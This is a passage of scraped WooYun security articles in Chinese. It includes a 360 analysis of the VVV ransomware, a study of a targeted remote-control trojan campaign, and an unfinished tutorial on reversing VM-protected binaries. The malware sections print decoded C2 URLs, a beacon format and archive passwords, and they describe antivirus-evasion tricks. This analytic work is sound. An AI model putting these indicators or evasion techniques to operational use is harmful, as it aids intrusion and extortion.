| 169 | 170 | 171 | 172 | -------------------------------------------------------------------------------- /dropsWooyun2/markdownFile/vvv病毒真相.md: -------------------------------------------------------------------------------- 1 | # vvv病毒真相 2 | 3 | [ 360安全卫士](/author/360安全卫士) · 2015/12/11 18:43 4 | 5 | > 360互联网安全中心监控到，已经沉寂一段时间的CryptoLocker（文档加密敲诈者）类木马，本月初在国内又开始传播感染。本次传播的木马是之前CTB-Locker木马的一个变种，在加密文档之后，会在文档文件名之后加入“.vvv”，该病毒也因此被称为VVV病毒。 6 | 7 | # 0x00 概述 8 | 9 | * * * 10 | 11 | 经分析，该木马的核心加密功能，是根据臭名昭著的TeslaCrypt（特斯拉加密者，与那个电动汽车厂商没有任何关系）的最新版本改写而来。TeslaCrypt从今年2月份正式“出道”以来，已经经过了8个版本的迭代。其中前4个版本加密后的文档都可以通过工具恢复，但从第5版开始则无法再恢复。且其第5版和第7版都曾在国内有过不同规模的爆发。 12 | 13 | 此次病毒事件主要的传播地区在日本，twitter上搜索“vvvウイルス”已经闹翻了天了： 14 | 15 | ![p1](http://static.wooyun.org//drops/20151211/2015121110071224519138.png) 16 | 17 | ![p2](http://static.wooyun.org//drops/20151211/2015121110071815051214.png) 18 | 19 | 而我国出现该病毒完全属于“躺枪”。之所以说是“躺枪”，其实看下对方的勒索要求就很明显了。对方给出了四个所谓的“私人页面（PersonalPages）”要求你去访问并获取交易信息。但实际上这四个网站的域名分别为： 20 | 21 | 22 | 23 | encpayment23.com 24 | expay34.com 25 | hsh73cu37n1.net 26 | onion.to 27 | 28 | 29 | 这其中，只有最后一个onion.to可以访问，但这是一个“TorHiddenServicesGateway”，也就是说这是一个用洋葱路由的方式专门用来隐藏背后真实服务商的网站，并且还需要你安装一个所谓的“TorBrowser”进入洋葱网络才能正常浏览，于是： 30 | 31 | ![p3](http://static.wooyun.org//drops/20151211/2015121110072021623313.png) 32 | 33 | 几个小时过去了……然后就没有然后了……也就是说即便我想要老老实实的交付赎赎金，也是一个不可能完成的任务。 34 | 35 | # 0x01 传播 36 | 37 | * * * 38 | 39 | 不只是不能访问的页面，根据我们的监控数据看，也印证了该木马并非针对中国而来——刚刚进入12月的时候木马感染量有过一次小规模的上涨，而最近几天的传播量更是创了一个新高。但即便如此每天的木马活跃了也没有超过100个，所以说总体而言该木马在我国并没有真正意义上的“爆发”起来。 40 | 41 | ![p4](http://static.wooyun.org//drops/20151211/2015121110072371514412.png) 42 | 43 | 而国内中招用户大部分也是通过比较传统的途径感染的木马——电子邮件： 44 | 45 | ![p5](http://static.wooyun.org//drops/20151211/2015121110072516656512.png) 46 | 47 | 邮件声称你有一笔未偿欠款，如果逾期不还的话，会产生7%的利息。而附件中所谓的“单据副本”其实就是这个木马。多么典型的诈骗内容——“您有欠款”、“您欠电话费了”、“您有未接收的快递”、“您有法院传票”……看来用这样的说辞并非国人的专利。但全篇的英语又有几个人会去仔细看完然后点开附件呢？这也就是在国内传播量很小的主要原因。 48 | 49 | 而实际上，该木马在国外的传播途径不仅仅是邮件传播，也包括一部分通过网页挂马（以去年最后的CVE-2014-6332和今年出镜率最高的CVE-2015-5122这两个漏洞的利用为主）来实现的木马传播，但由于经常访问的网站有很大不同，所以在国内因为网页挂马导致感染该木马的情况并不多见。 50 | 51 | # 0x02 样本分析 52 | 53 | * * * 54 | 55 | 样本最开始的来源是一个伪装成发票单的js脚本 56 | 57 | ![p6](http://static.wooyun.org//drops/20151211/2015121110072749441612.png) 58 | 59 | 咋看内容是一堆乱码： 60 | 61 | ![p7](http://static.wooyun.org//drops/20151211/2015121110072884923712.png) 62 | 63 | 对其格式稍加调整之后，可以发现，其实就是一些字符的混淆，最后通过eval函数执行。 64 | 65 | ![p8](http://static.wooyun.org//drops/20151211/2015121110073058617812.png) 66 | 67 | 直接将其eval的内容log输出，就能看到真正执行的代码了，功能比较简单，只是一个木马下载器 68 | 69 | ![p9](http://static.wooyun.org//drops/20151211/2015121110073281769910.png) 70 | 71 | 样本本身带有一个简单的保护壳，启动后，会检测自身路径，如果不在%appdata%下，会将自身拷贝过去，并再次启动，之后删除之前的木马文件，达到隐藏自身的目的。 72 | 73 | ![p10](http://static.wooyun.org//drops/20151211/20151211100734772261010.png) 74 | 75 | 木马在`%appdata%`下执行之后，会再次启动自身，解密隐藏的代码，注入到启动的这个子进程中： 76 | 77 | ![p11](http://static.wooyun.org//drops/20151211/20151211100735193191114.png) 78 | 79 | 木马使用这种方法，试图绕过传统特征码定位引擎的查杀，解码出来的程序是真正的木马工作部分： 80 | 81 | ![p12](http://static.wooyun.org//drops/20151211/20151211100738992281211.png) 82 | 83 | 木马的整体流程控制上，和之前的ctb-locker比较相似： 84 | 85 | ![p13](http://static.wooyun.org//drops/20151211/2015121110074193711139.png) 86 | 87 | 由于这个模块是通过注入方式执行的，启动后会通过GetProcAddress找到找到所需的系统API： 88 | 89 | ![p14](http://static.wooyun.org//drops/20151211/2015121110074358149147.png) 90 | 91 | 木马在感染之前，会先将自身写入启动项，保证下次开机仍能够启动！ 92 | 93 | ![p15](http://static.wooyun.org//drops/20151211/2015121110074474641157.png) 94 | 95 | 木马中配置等各类地址，都经过了重新编码，用来对抗分析： 96 | 97 | ![p16](http://static.wooyun.org//drops/20151211/2015121110074677428166.png) 98 | 99 | 解码出的内容包括木马控制服务器，密钥交换时提及的信息结构： 100 | 101 | 102 | 103 | 0012DD0C 00CD1B18 ASCII "Sub=%s&key=%s&dh=%s&addr=%s&size=%lld&version=%s&OS=%ld&ID=%d&gate=%s&ip=%s&inst_id=%X%X%X%X%X%X%X%X" 104 | 0012DC98 01062040 ASCII "http://crown.essaudio.pl/media/misc.php" 105 | 0012DCF0 01061F38 ASCII "http://graysonacademy.com/media/misc.php" 106 | 0012DD04 01061E30 ASCII "http://grupograndes.com/media/misc.php" 107 | 0012DD18 01061D28 ASCII "http://grassitup.com/media/misc.php" 108 | 109 | 110 | 密钥生成方式和之前的CTB-Locker一致，都是通过ECDH生成，如果没有服务器上的私鈅目前无法获取到加密密钥。 111 | 112 | ![p17](http://static.wooyun.org//drops/20151211/2015121110074777641175.png) 113 | 114 | ![p18](http://static.wooyun.org//drops/20151211/2015121110074993327185.png) 115 | 116 | 文件加密过程中，会排除掉带有.vvv扩展名的文件和带有recove的文件： 117 | 118 | ![p19](http://static.wooyun.org//drops/20151211/2015121110075052118193.png) 119 | 120 | 加密如下190种类型的文件： 121 | 122 | 123 | 124 | |.r3d|.ptx|.pef|.srw|.x3f|.der|.cer|.crt|.pem|.odt|.ods|.odp|.odm 125 | |.odc|.odb|.doc|.docx|.kdc|.mef|.mrwref|.nrw|.orf|.raw|.rwl|.rw2 126 | |.mdf|.dbf|.psd|.pdd|.pdf|.eps|.jpg|.jpe|.dng|.3fr|.arw|.srf|.sr2 127 | |.bay|.crw|.cr2|.dcr|.ai|.indd|.cdr|.erf|.bar|.hkx|.raf|.rofl|.dba 128 | |.db0|.kdb|.mpqge|.vfs0|.mcmeta|.m2|.lrf|.vpp_pc|.ff|.cfr|.snx 129 | |.lvl|.arch00|.ntl|.fsh|.itdb|.itl|.mddata|.sidd|.sidn|.bkf|.qic 130 | |.bkp|.bc7|.bc6|.pkpass|.tax|.gdb|.qdf|.t12|.t13|.ibank|.sum|.sie 131 | |.zip|.w3x|.rim|.psk|.tor|.vpk|.iwd|.kf|.mlx|.fpk|.dazip|.vtf 132 | |.vcf|.esm|.blob|.dmp|.layout|.menu|.ncf|.sid|.sis|.ztmp|.vdf|.mov 133 | |.fos|.sb|.itm|.wmo|.itm|.map|.wmo|.sb|.svg|.cas|.gho|.syncdb 134 | |.mdbackup|.hkdb|.hplg|.hvpl|.icxs|.docm|.wps|.xls|.xlsx|.xlsm 135 | |.xlsb|.xlk|.ppt|.pptx|.pptm|.mdb|.accdb|.pst|.dwg|.xf|.dxg|.wpd 136 | |.rtf|.wb2|.pfx|.p12|.p7b|.p7c|.txt|.jpeg|.png|.rb|.css|.js|.flv 137 | |.m3u|.py|.desc|.xxx|.wotreplay|wallet|.big|.pak|.rgss3a|.epk|.bik 138 | |.slm|.lbf|.sav|.re4|.apk|.bsa|.ltx|.forge|.asset|.litemod|.iwi 139 | |.das|.upk|.d3dbsp|.csv|.wmv|.avi|.wma|.m4a|.rar|.7z|.mp4|.sql| 140 | 141 | 142 | 在对文件加密完成之后，会对加密好的文件进行重命名，加入vvv扩展名： 143 | 144 | ![p20](http://static.wooyun.org//drops/20151211/2015121110075265106202.png) 145 | 146 | ![p21](http://static.wooyun.org//drops/20151211/2015121110075327319215.png) 147 | 148 | 和其它木马判断完整进程名不同，这个木马会判断系统是否运行有程序，带有askmg,rocex,egedi,sconfi,cmd这些关键词的程序，如果带有，就结束这些程序，实际上对应的是procexp.exe，taskmgr.exe之类的辅助分析工具等。 149 | 150 | ![p22](http://static.wooyun.org//drops/20151211/2015121110075767936223.png) 151 | 152 | 加密完成后，会在被加密文件夹下生成： 153 | 154 | ![p23](http://static.wooyun.org//drops/20151211/2015121110075847902233.png) 155 | 156 | 最后敲诈者展示这个勒索页面： 157 | 158 | ![p24](http://static.wooyun.org//drops/20151211/2015121110080082688242.png) 159 | 160 | # 0x03 最后 161 | 162 | * * * 163 | 164 | 由于一旦中招，机器中的所有资料全会被加密，并且完全无法恢复（如上所说，即便你愿意付赎金，也可能无处可付），所以对此类木马的警惕性依然是非常有必要的。用户在使用计算机的过程中，对重要文件，最好进行隔离备份，减小各类应病毒木马攻击，程序异常，硬件故障等造成的文件丢失损失。同时也要养成良好的习惯，不要随意打开陌生邮件的附件。安装具有文档防护功能的安全软件，对于安全软件已经提示风险的程序，不要继续执行。 165 | 166 | -------------------------------------------------------------------------------- /dropsWooyun2/markdownFile/1450356702.16.md: -------------------------------------------------------------------------------- 1 | # 从一条微博揭秘"专黑大V名人"的定向攻击 2 | 3 | [ 360安全卫士](/author/360安全卫士) · 2015/12/10 13:02 4 | 5 | # 0x00 前言 6 | 7 | * * * 8 | 9 | 本月初微博上有知名大V晒出一封私信截图，私信是以某记者名义发出，要求采访该大V博主，并提供了一个网盘链接作为“采访提纲”。当博主下载网盘中存放的所谓“采访提纲”后，该文件被360安全卫士检测为木马进行清除。 10 | 11 | 我们根据截图中的网盘链接下载了伪装“采访提纲”的木马进行分析，发现这是来自于一个长期从事木马植入与数据窃取的不法黑客团伙，该团伙利用盗取或冒名的各类账号，对账号关联人发起攻击，木马功能包括录音、远程上传或下载任意文件、服务管理、文件管理、屏幕监控等，很明显是意图窃取数据进行勒索或售卖来谋取利益。 12 | 13 | ![p1](http://static.wooyun.org//drops/20151210/2015121004594079928129.png) 14 | 15 | # 0x01 样本信息 16 | 17 | * * * 18 | 19 | ![p2](http://static.wooyun.org//drops/20151210/2015121004594330644210.png) 20 | 21 | # 0x02 样本流程图 22 | 23 | * * * 24 | 25 | ![p3](http://static.wooyun.org//drops/20151210/2015121004594673373312.png) 26 | 27 | # 0x03 样本详细分析 28 | 29 | * * * 30 | 31 | **>> XXXX采访提纲.exe<<** 32 | 33 | 木马作者将自己的样本做成一个word文档的样子。不管从图标还是名字上面来看都是word的样子诱导用户去点击查看。但是这个却是一个exe程序。该exe程序运行时首先会在C盘下面尝试写一个空文件，看是否能够写入成功。如果写入成功他就会删除该文件，然后开始执行一系列操作来在安装自己。首先释放大量文件，作者将自己的文件夹设置为了隐藏。如果我们的文件夹选项中没有勾选显示隐藏搜保护的操作系统文件我们是看不到的。 34 | 35 | ![p4](http://static.wooyun.org//drops/20151210/2015121004594825210411.png) 36 | 37 | 释放文件完毕后接下来会创建VSTquanjuhe.com这个可执行文件，VSTquanjuhe进程会运行explore来打开`C:\OA`路径。弹出一个空的docx文档。(ps:测试没有装word，所以这里比较尴尬，没有word图标) 38 | 39 | ![p5](http://static.wooyun.org//drops/20151210/2015121004595057028511.png) 40 | 41 | 接下来用ua.exe这个程序来解压links.ini文件，解压密码为”█噎冪蕟嚄Щ暜囖醃∷滸濤∑”,解压后判断判断系统是多少位的如果是32位的就运行Win1.bat文件，如果是64位的就运行Win2.bat(Win2.bat内容和Win1.bat内容相似，只是不再判断是多少版本的系统) 42 | 43 | **>> Win1.bat <<** 44 | 45 | 该文件的内容主要是先判断是否存在swapfile.sys文件，来判断操作系统版本的。如果存在就将test1.pfx重命名为2016mt.1r放到`C：\Windows`目录下，否则就将test2.pfx文件重命名为2016mt.1r放到`C：\Windows`目录下.接下来调用regedit.exe来运行ua.lnk→运行mew.1r→msg 系统需要升级→关机重启 46 | 47 | **>>ua.lnk<<** 48 | 49 | 写入注册表，并关联文件。将.1r文件与”VBEFile”文件相关联以及将.3f文件与”inifile”文件相关联。使这两种后缀的文件能按vbe和inf文件的形式打开。 50 | 51 | **>> mew.1r <<** 52 | 53 | 该文件是一个被加密了5次的vbs文件，源文件打开看到的像是一堆乱码. 54 | 55 | 如图: 56 | 57 | ![p6](http://static.wooyun.org//drops/20151210/2015121004595191108611.png) 58 | 59 | 最后解密到的脚本内容 60 | 61 | ![p7](http://static.wooyun.org//drops/20151210/2015121004595387858711.png) 62 | 63 | 解密后的vbs文件的主要功能就是模拟鼠标去点击运行`C:\$NtUninstallKB1601A$\BinBackup\MYTEMP`文件下的8.3f文件 64 | 65 | **>> 8.3f <<** 66 | 67 | 在RunOnceEx下写入了一个注册表，开机时就启动2016mt.1r(vb文件)文件。 68 | 69 | **>> 2016mt.1r <<** 70 | 71 | 开机后运行2016mt.1r→0s.bat文件→调用regdit运行lang2.lnk→解压abc1601.bat→运行shotdown 72 | 73 | **>> os.bat <<** 74 | 75 | 用abc.os文件去覆盖qmvext.db文件，该文件时用来存放规则的文件。写入规则后的文件就不会被查杀了。这里作者用自己的数据文件替换用户的数据文件。就是为了绕过腾讯管家的查杀。不过这个漏洞在2013就在乌云上报道过了。 76 | 77 | **>> lang2.lnk <<** 78 | 79 | 通过调用`regeedit /s`来执行reg文件。该文件的主要作用是关联文件以及在注册表在Active Steup下的StubPath键下写入了`C:\\\$NtUninstallKB1601A$\\\BinBackup\\\super.inf`，写入注册表写入后，super.inf文件会在操作系统启动后第一时间启动。比任何一个程序都要先启动。 80 | 81 | **>> abc1601.dat <<** 82 | 83 | abc1601.data是一个被加密了的压缩文件。解压密码为“▓羋奤柒♀懋髖瓊♂蠟蕙纗▓ ”。解压后出现一个shotdown文件，然后ua.exe会运行shotdown文件，shotdwon释放FreeImage.dll文件,接下来FreeImage.dll会释放出并运行FreeImage.exe 84 | 85 | **>> FreeImage.exe <<** 86 | 87 | 该文件是先将自己写的函数的地址写入在程序中，这样就提高了分析者对样本分析的难度 88 | 89 | ![p8](http://static.wooyun.org//drops/20151210/2015121004595423385811.png) 90 | 91 | 将地址写死在程序中后，通过对寄存器的调用来调用自己写的函数。一直在不停的call eax来调用函数 92 | 93 | ![p9](http://static.wooyun.org//drops/20151210/201512100459563743399.png) 94 | 95 | 在对该远控功能分析的时候，我们发现该远控具备的功能大概如下 96 | 97 | 98 | 99 | 录音 100 | 远程上传以及下载文件 101 | 服务管理 102 | 文件管理 103 | 屏幕监控 104 | 105 | 106 | 该远控主要通过注入svchost进程来启动。下面就是他的注入过程。先以管理员权限运行svchost.exe 107 | 108 | ![p10](http://static.wooyun.org//drops/20151210/2015121004595731914109.png) 109 | 110 | 接下来就对他进行注入了。先调用WriteProcessMemory函数对svchost.exe写入数据，接下来调用SetThreadContext函数来设置EIP然后调用ReumeThread来恢复线程 111 | 112 | ![p11](http://static.wooyun.org//drops/20151210/20151210045959579721113.png) 113 | 114 | 通过新设置的EIP我们找到了被注入的svchost.exe的入口地址(通过对写入文件前下CC断点),用OD附加后调试发现。被注入的文件就是FreeImage本身。如果注入成功，FreeImage就结束运行。不过不管注入成不成功svchost也会发起数据链接，结合在动态分析对该远控功能的分析和对数据包结构的分析。可以看出，该远控是一个灰鸽子改版过来的RemoteABC远程控制软件 115 | 116 | ![p12](http://static.wooyun.org//drops/20151210/20151210050001495661210.png) 117 | 118 | 图.上线包 119 | 120 | 如果系统版本不是win8及其以上,则2106mt.1r是由test1.pfx解密而来文件主要内容如下 121 | 122 | 运行os.bat(覆盖腾讯信任文件数据库文件)→解压abc.data→解压inst.ini→运行会释放出远控的shotdown.exe→调用regedit.exe运行lang1.lnk→重启电脑 123 | 124 | **>> inst.ini <<** 125 | 126 | 解密后得到的文件是作者事先写好的360卫士的信任区数据文件和一个安全工具及其相关的组件 127 | 128 | **>> lang1.lnk <<** 129 | 130 | lang1.lnk将bmd.vbe写入了启动项里面。写入后会开机自启动，启动后运行bmd.vbe 131 | 132 | **>> bmd.vbe <<** 133 | 134 | bmd.vbe文件也是被加密过5次的vbs文件，它主要运行ub.lnk以及gsxt.bat 135 | 136 | **>>ub.lnk<<** 137 | 138 | ub.lnk解密mtfile.tpi文件。并执行ing.exe文件 139 | 140 | **>> gsxt.bat文件主要内容<<** 141 | 142 | gsxt.bat通过调用一个rootkit工具，删除替换杀软的信任区文件，从而将木马加入用户的信任区。尽管该木马专门针对360安全卫士进行破坏，试图躲过查杀，但360多重防护体系的“下载保护”将木马直接报毒清除，使其无法运行起来，从而有效保护了用户避免中招。 143 | 144 | # 0x04 木马背后 145 | 146 | * * * 147 | 148 | 在我们捕获的同族系样本中，还发现一个命名为“left and right base trigger, left and right bumper s136mould20000pieces.exe”的样本。该文件属于工程技术类文档，而图标则是一个文件夹图标。与上面分析的样本不同的的是，它是在OA文件夹下释放的，并且不再是Word文档，而是四个STEP文档。STEP文件是一个国际统一的CAD数据交换标准，根据这四个STEP文件内容来看，是针对SolidWorks2014这款软件的。 149 | 150 | ![p13](http://static.wooyun.org//drops/20151210/2015121005000292727137.png) 151 | 152 | 这个木马团伙最近一段时间，使用远控控制服务器，均是位于青岛的阿里云服务器中心。 153 | 154 | 两个木马使用的远控上线地址： 155 | 156 | ![p14](http://static.wooyun.org//drops/20151210/2015121005000454048146.png) 157 | 158 | 下面是近期该族系传播比较多的几个变种，涵盖多个行业： 159 | 160 | 木马传播文件名 主要传播方式 木马传播主要针对人群 161 | 162 | 2016年样片拍摄方案及费用1.exe 163 | 164 | 聊天软件 165 | 166 | 摄影师、模特等从业人员 167 | 168 | 大道包装钢平台技术要求1208.exe 169 | 170 | 邮件 171 | 172 | 工程项目相关从业人员 173 | 174 | 12-8日操作建议.exe 175 | 176 | 聊天软件 177 | 178 | 股票证券相关从业人员/炒股人群 179 | 180 | 核实一下账户信息.exe 181 | 182 | 聊天软件/邮箱 183 | 184 | 银行业相关从业人员/财会人员 185 | 186 | 超级3m汇款单.exe 187 | 188 | 网盘 189 | 190 | 金融理财人群 191 | 192 | 新出楼盘.exe 193 | 194 | 聊天软件 195 | 196 | 房地产相关从业人员/有房屋买卖需求人群 197 | 198 | 不难发现：木马的文件名、传播渠道、针对人群这三组指标都有极高的统一性，这明显不是那种常见的“撒网捕鱼”式的木马，而是前期先获取到一部分人的邮箱、通讯软件、社交平台等账号密码，之后人工分析原账号持有者的社交圈和社交习惯，再根据分析结果定向发送定制的木马程序，增加木马投放的成功率，同时也方便更有目的性和更高效的窃取中招用户机器上的资料。植入中招用户机器中的是远控木马而不是普通的盗号木马，这样也是更方便认为的控制要获取的资料，目的性进一步提高。 199 | 200 | 关系草图大体如下： 201 | 202 | ![p15](http://static.wooyun.org//drops/20151210/2015121005000581746156.png) 203 | 204 | 这里只是将已经展现在我们面前的第一层关系图画出来，不难发现在这种有人工参与的目的性极强的攻击方式下，很容易的形成一个链式反应。只要参与运营的人手够多，就足以在短时间内掌握大量的特定行业内部信息——而这能换取的经济利益显然是巨大的。 205 | 206 | # 0x05 总结 207 | 208 | * * * 209 | 210 | 此类定向木马具有明显的专一性，需要较高的人工参与度，所以传播方式并不是传统木马的以量取胜，而是转变为定点打击的精准小范围传播。虽然成本更高，但显然收益也更加可观。同时避免大规模的传播也就等同于降低了被各大安全厂商云安全机制发现的风险。 211 | 212 | 应对此类木马，安全软件的查杀固然必不可少，用户的自我防范意识也必不可少。对于好友突然发来的文件，也要多加注意。安全软件已经提示风险的文件，切莫随意打开。广大网民也要注意自身的账号安全，对于泄漏的密码要及时废弃，以防自己的账号成了木马团伙攻击的武器。360互联网安全中心也会继续关注该木马家族的发展，积极提供应对方案，保障网民安全。 213 | 214 | -------------------------------------------------------------------------------- /dropsWooyun2/markdownFile/逆向被虚拟机所保护的二进制文件.md: -------------------------------------------------------------------------------- 1 | # 逆向被虚拟机所保护的二进制文件 2 | 3 | [ 左懒](/author/左懒) · 2015/11/24 12:13 4 | 5 | From: 6 | 7 | # 0x00 简介 8 | 9 | * * * 10 | 11 | 在代码混淆当中，虚拟机被用于在一个程序上运行不同机器指令集。例如虚拟机可以让32位的x86架构机器上运行ARM指令集。用于代码混淆的虚拟机跟那种普通的，能运行操作系统的虚拟机完全不同（如：VMware），前者只用于执行有限的指令做一些特定的任务。 12 | 13 | 在了解相关代码混淆器的虚拟机指令集执行机制后，逆向工程一个使用该指令集的虚拟机所保护程序还是比较容易的。只需要花费少量的时间来研究一下这个架构的指令集操作码。然而悲剧的是，现在的虚拟机代码混淆器大多数都使用自定义指令集。换句话说，每个指令都被赋予一个自定义的操作码（通常都是随机的）和自定义的格式，逆向人员需要逆向解码每个操作码的含义。这简直会玩死人！举个栗子，让我们来看看32位的x86指令集和我们将在本文中介绍的自定义指令集之间的区别： 14 | 15 | ![](http://static.wooyun.org//drops/20151014/2015101405202361521picture1.png) 16 | 17 | 很明显，这些指令都是把第二个操作数指定的内存字节赋值到第一个操作数的寄存器当中。然而这两条指令的二进制操作码表示却并不相同，其中第二条指令的0x56操作码完全是一个随机数字。两条指令的第二个字节都表示操作码需要用到的寄存器，其中每4位表示一个寄存器。 18 | 19 | 在进入逆向工程实例之前，我们得先知道基于虚拟机代码混淆技术幕后的工作原理：虚拟机启动后首先第一件事便在它的进程虚拟地址空间中申请一块“addressspace”，换句话说，它申请所需的内存空间，栈和寄存器。然后，虚拟机加载操作码文件并执行。代码的执行是由一个VMloop完成的。在这个loop当中，虚拟机的处理器解析每个预定的操作码和操作数，然后根据指令集迭代执行。直到VM loop遇到一个指定的退出操作码。 20 | 21 | # 0x01 举个例子 22 | 23 | * * * 24 | 25 | 为此我花了一些时间用C语言写了一个自定指令集的虚拟机，完整的源代码可以在这篇文章最后获得。正如你所猜的，单独一个虚拟机是做不了任何事情的。这也是我为什么还写了这么一个CrackMe小程序。另外我诚挚邀请大家也给这个小家伙添加更多的功能吧！ 26 | 27 | 在前言中提到过的，这个虚拟机使用一套自定的指令集，并由虚拟机在初始化阶段后把操作码文件加载到“address space”。 28 | 29 | 让我们确保操作码文件和虚拟机在同一个目录，然后执行。随便输入一串密码可以看到： 30 | 31 | ![](http://static.wooyun.org//drops/20151014/2015101405202532806picture2.png) 32 | 33 | 密码验证失败！ 34 | 35 | 我们现在的目标就是给这个程序找出正确的密码。先从看一下这个操作码文件(vm_file)开始，用十六进制编辑器打开它： 36 | 37 | ![](http://static.wooyun.org//drops/20151014/2015101405202730593picture3.png) 38 | 39 | 可以看到，在vm_file文件有诸如”Right pass!“，”Wrongpass!“和”Password:“的字符串。接下来开始逆向这个虚拟机，用IDA打开它。 40 | 41 | IDA打开虚拟机之后我们直接定位到VM loop的虚拟地址：0x00401334。下图显示了这个程序相当庞大，但既然找到正确的入口点那我们肯定有办法搞定它。 42 | 43 | ![](http://static.wooyun.org//drops/20151014/2015101405203054964picture4.png) 44 | 45 | 让我们来看看入口函数执行了哪些指令： 46 | 47 | 48 | 49 | push ebp 50 | push edi 51 | push esi 52 | push ebx 53 | sub esp, 2Ch 54 | mov esi, [esp+3Ch+arg_0] 55 | mov ebx, [esp+3Ch+arg_4] 56 | mov ax, [ebx+0Ah] 57 | lea ebp, [esi+1200h] 58 | loc_40134D: ; This is where the loop starts 59 | movzx edx, ax 60 | mov cl, [esi+edx] 61 | lea edx, [eax+1] 62 | mov [ebx+0Ah], dx 63 | sub ecx, 10h 64 | cmp cl, 0E1h ; switch 226 cases 65 | jbe short loc_40136C 66 | 67 | 68 | ”mov cl, [esi+edx]“指令读取一个字节到CL，很显然CL寄存器只包含了操作码。该操作码是通过ESI和EDX两个寄存器进行定位的。从前面可以清楚地看到EDX只包含了一个WORD（16 bit）而ESI包含了DWORD（32bit）。所以，ESI实际上是指向VM代码段，而DX指向我们的虚拟机当前指令的指针（文件中当前操作码的index）。 69 | 70 | 在正确读入字节之后我们注意到DX寄存器的值被保存到[EBX +0AH]。这位置是虚拟机分配的寄存器空间。我们现在知道EBX寄存器指示着ESI寄存器所指向的文件数据在内存中的位置。 71 | 72 | 在比较之前，我们注意到编译器使用了编译优化：在访问switch table之前的每个操作码的值减去0x10。 73 | 74 | 75 | 76 | loc_40136C: 77 | movzx ecx, cl 78 | jmp ds:switchTable[ecx*4] ; switch jump 79 | 80 | 81 | 该switch table虽然相当大，但它可以更快地计算出动态地址。你可以在Win32下用OllyDbg或IDA运行调试这个程序。 82 | 83 | # 0x02 第一条指令 84 | 85 | * * * 86 | 87 | 第一个switch带我们跳到一个小过程当中： 88 | 89 | ![](http://static.wooyun.org//drops/20151014/2015101405203172489picture5.png) 90 | 91 | 我们现在处于“case 0x18”这个操作码，因为编译器增加了一个减法操作优化这段代码。如果你现在回去检查一下vm_file的话可以发现第一个字节就是0x18。这个操作码似乎需要一些操作数，所以VM多读取一个字节到DX寄存器。下一步，VM的指令指针[EBX+0AH]更新为EAX+2，这意味着IP(instruction pointer)指向下一个字节。之后，读取到的字节跟3比较，如果大于3则离开循环并抛出一个异常。但在我们的例子中是不会抛出异常的，因为二进制文件中该操作数等于0x01，因此程序不会发生跳转。接着我们到达这里： 92 | 93 | ![](http://static.wooyun.org//drops/20151014/2015101405203356055picture6.png) 94 | 95 | 提醒你一下，EBX是指向虚拟机的寄存器数组的指针，所以第一条指令把[EBX+1*2]（第二个寄存器）初始化为0。 96 | 97 | 现在，我们有足够的信息可以判断VM包含了4个寄存器，我们可以称之为R0，R1，R2，R3。 98 | 99 | 剩下的代码从文件加载2个字节（大端序的0x250）的数据存放到R1寄存器中。接着，VM的指令指针会指向下一条指令，也就是在文件的0x04偏移处。最后，jmp跳转到loc_40134D的VM loop循环处开始下一条指令的执行。 100 | 101 | 直到现在，我们只能知道第一条指令是什么，它只是一条简单的mov指令。这条指令可以重写为下面的格式： 102 | 103 | 104 | 105 | MOV R1, 250H 106 | 107 | 108 | # 0x03 第二条指令 109 | 110 | * * * 111 | 112 | 让我们来看看下个操作码（0xAF）: 113 | 114 | ![](http://static.wooyun.org//drops/20151014/2015101405203417139picture7.png) 115 | 116 | 第一个代码块跟之前的mov指令一样。显然，这是需要用到一个寄存器作为操作数的典型代码，在我们的例子当中，它使用的是R1(0x01)寄存器。下一步它访问[EBX+0CH]的寄存器。我们知道这个寄存器肯定不是R0，R1，R2，R3。因为R3被存储在[EBX+6]。我们也知道这不是IP指令指针，因为它位于[EBX+0AH]。所以要弄清楚这个寄存器是什么，我们需要回去检查它在主函数中的初始化： 117 | 118 | 119 | 120 | .text:00402703 mov word ptr [eax+0Ch], 256 121 | 122 | 123 | 回到我们分析处，我们注意到获取到这个寄存器的值后做减一操作，然后再跟0xFFFF做比较。因为该寄存器被初始化为256，所以在该寄存器的值为0并减一之前是不会等于0xFFFF的。如果该寄存器等于0xFFFF，那么VM将退出循环。因为我们这是第一次执行，所以断定[EBX+0CH]肯定等于255。 124 | 125 | 接下来两条指令读取R1（0x250）的值保存到DX寄存器。接着就可以看到一条有趣的指令： 126 | 127 | 128 | 129 | mov [esi+eax*2+1000h], dx 130 | 131 | 132 | 如果你还记得的话，ESI是指向代码和数据区域的基址。此外，ESI+1000H跨度了4K的地址空间。因此，我们可以假设，ESI+1000H是指向一个不同的“section”的VM“address space”。 133 | 134 | 我们可以用伪代码重述一下这个操作： 135 | 136 | 137 | 138 | #!c 139 | WORD section[256]; 140 | […] 141 | section[ –reg ] = R1; 142 | 143 | 144 | 看起来这似乎是一个栈结构，R1寄存器的值被保存到栈指针减一后所在的位置。我们可以大胆地假设0xAF操作码代表PUSH指令。因此，这条操作码指令的含义可以理解为：PUSH R1。 145 | 146 | 现在我们知道[EBX+0CH]是VM的栈指针，栈空间为256*sizeof(uint16_t)。此外，如果你想把VM的栈指针和x86架构的机器栈指针做比较，可以看到VM的栈指针仅仅是一个array的index，而x86机制的栈指针是一个寄存器（ESP）。 147 | 148 | # 0x04 第三条指令 149 | 150 | * * * 151 | 152 | 接着第三个操作码（0xC2）： 153 | 154 | ![](http://static.wooyun.org//drops/20151014/2015101405203621995picture8.png) 155 | 156 | 这个操作码的含义似乎是在读取栈顶的一个WORD数据。但在读取之前它先检查栈是否为空，如果是，则抛出一个VM异常。因为之前已经有一个值PUSH进去了，所以我们知道这个栈不为空。把栈顶的数据保存到DX寄存器后，栈指针+1。我们还知道DX的值现在为0x250（属于代码和数据区域的一部分）。随后，确保栈顶的值不会超过0x1000（address space的尺寸）。接下来把[ESI+DX]指向的字符串作为的参数调用printf。在我们这个例子当中，vm_file第0x250个字节保存的字符串是“Password:”，它将被打印到屏幕上。 157 | 158 | 我们可以得出这样的结论：0xC2指令需要把字符串偏移PUSH到栈上，然后POP出来printf它。 159 | 160 | 正如你所见，在这完成逆向这些操作码之后我们已经到达打印“Password:”的代码上。你可能已经注意到我们可以用单一的指令简化每个操作码所代表的执行动作。接下来，我们不采用逐步的分析方式来分析这些操作码了。但是现在的你应该能够逆向工程一个被虚拟机所保护的程序，甚至打造一个属于自己的虚拟机保护程序。 161 | 162 | # 0x05 破解密码 163 | 164 | * * * 165 | 166 | 下面给出如何快速找到正确密码的方式： 167 | 168 | 